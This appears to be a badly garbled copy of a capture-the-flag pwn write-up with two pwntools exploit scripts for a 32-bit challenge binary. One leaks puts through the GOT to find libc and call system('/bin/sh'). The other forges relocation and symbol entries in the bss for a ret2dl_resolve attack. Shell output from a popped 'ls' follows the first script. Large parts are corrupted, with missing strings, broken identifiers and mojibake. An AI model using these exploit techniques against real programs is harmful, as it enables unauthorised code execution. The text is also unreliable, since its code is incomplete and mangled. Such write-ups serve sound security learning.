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from pwn import

import struct

, log level

process(
if d 1:
gdb.attach(p)
else:

p remote("")

def ans(size, name, heroname, isize, intro, answer):

p.sendlineafter( 5 (size))

.sendlineafter( , hame)
.sendlineafter(
.sendlineafter(
.sendlineafter( , intro)

.sendlineafter(

elf.plt]
elf.got|
0x08048570
0x08048C58
(0x108)

p32(0) (0x114

ans(-1, payload, , 10,

p.recvline()
p.recv(4)
struct.unpack( , leak.ljust(4,

(puts)

puts libc.symbols| ]

libc.symbols| ] libc_base

(system)

(libc.search( D)

0x108
p32(start)

EPACD
p32(binsh)

(ox114

ans (-1, payload, 10,

p.interactive()

, heroname)

(isize))

, answer)

4 - 0x108 + 4) p32(plt_puts)

libc_base

0x108 + 4) p32(system)

p32(start)

p32(got_puts)




Dy tes :
"N\n'
[*] Switching to interactive mode
[ ] Received 0x17 bytes:
'Thank you for you help\n’
Thank you for you help
1s
[ ] Sent 0x3 bytes:
'Is\n’'
] Received Ox4eb bytes:
"1baby_reverse\t cg.c\t\t - impossible\t pwndbg\n'
'32 1ibc-2.23.s0. chall1\t\t ' i_pwn\t readflag\n’
'360_pwni\t chall2\t\t i_pwn.py\t readflag.so\n'
'360_pwn2\t chall3\t\t 1libc-2.23.so Roar_pwn\n'
3p1.py\t\t change.c\t 1libc-2.23.50.i386 roputils\n’
'3x17\t\t core\t\t LibcSearcher roputils.py\n’
'3xX17.py\ViAt c5 2019 MESS] ibc . s0. 6\t roputils.pyc\n’
'a.out\t\t cs 2019 -2\t lostyt\t A 11 codedn®

; . / sdn,netlaq 43188757
ass\t\t Desktop\t Music\t Ten\n -

WA ZMileE, AFAlibciBidret2dl resolve3kgetshell, 52 ¥ B BbE i i b8 BR AR

EXP:

from pwn import
import roputils as rp

context(arch , log level

process(
if d 1:
gdb.attach(p)
else:

p remote("")

def ans(size, name, heroname, isize, intro, answer):
.sendlineafter( 5 (size))
.sendlineafter( , hame)
.sendlineafter( , heroname)
.sendlineafter( (isize))
.sendlineafter(

.sendlineafter( , answer)

elf = ELF(
rp.ROP(

0x80481DC
0x80482FC
0x8048400
0x08048490
elf.plt]
elf.plt]
elf.got|
elf.bss() 0x800




rel_offset bss 20 JMPREL
size 0x10

r_info (((bss 20 + 8 DYNSYM)/size)<<8) ox7
struct_rel = p32(got_puts)
struct_rel p32(r_info)

DYNSTR_AR = bss 20 + 8 + 0x10
p32(DYNSTR_AR - DYNSTR)
st_name
p32(0)
p32(0)
p32(0x12)

rop.fill(20, bss_data)
struct_rel
struct_sym
struct_str

bss_data
(0x108) + p32(0) (0x114 - 4 - ox108 + 4)

p32(plt_read) p32(start) p32(0) p32(bss) p32(

ans (-1, payload, , 10,

0x108 + p32(0) (0x114 - 4 - Ox108 + 4)
p32(PUSHLM) p32(rel offset) p32(9) p32(bss)

0
ans (-1, payload,

p.interactive()

(bss_data))
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